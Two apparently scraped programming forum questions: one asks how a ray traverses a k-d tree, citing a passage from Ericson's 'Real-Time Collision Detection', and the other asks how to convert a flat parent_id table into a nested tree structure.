  I'm trying to figure out how to implement a KD tree. On page 322 of "Real time collision detection" by Ericson The text section is included below in case Google book preview doesn't let you see it the time you click the link text section Relevant section: The basic idea behind intersecting a ray or directed line segment with a k-d tree is straightforward. The line is intersected against the node's splitting plane, and the t value of intersection is computed. If t is within the interval of the line, 0 <= t <= tmax, the line straddles the plane and both children of the tree are recursively descended. If not, only the side containing the segment origin is recursively visited. So here's what I have: (open image in new tab if you can't see the lettering) The logical tree Here the orange ray is going thru the 3d scene. The x's represent intersection with a plane. From the LEFT, the ray hits: The front face of the scene's enclosing cube, The (1) splitting plane The (2.2) splitting plane The right side of the scene's enclosing cube But here's what would happen, naively following Ericson's basic description above: Test against splitting plane (1). Ray hits splitting plane (1), so left and right children of splitting plane (1) are included in next test. Test against splitting plane (2.1). Ray actually hits that plane, (way off to the right) so both children are included in next level of tests. (This is counter-intuitive - shouldn't only the bottom node be included in subsequent tests) Can some one describe what happens when the orange ray goes through the scene correctly?

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• Algorithm for parsing a flat tree into a non-flat tree

  - by Chad Johnson

  I have the following flat tree: id name parent_id is_directory =========================================================== 50 app 0 1 31 controllers 50 1 11 application_controller.rb 31 0 46 models 50 1 12 test_controller.rb 31 0 31 test.rb 46 0 and I am trying to figure out an algorithm for getting this into the following tree structuree: [{ id: 50, name: app, is_directory: true children: [{ id: 31, name: controllers, is_directory: true, children: [{ id: 11, name: application_controller.rb is_directory: false },{ id: 12, name: test_controller.rb, is_directory: false }], },{ id: 46, name: models, is_directory: true, children: [{ id: 31, name: test.rb, is_directory: false }] }] }] Can someone point me in the right direction? I'm looking for steps (eg. build an associative array; loop through the array looking for x; etc.).

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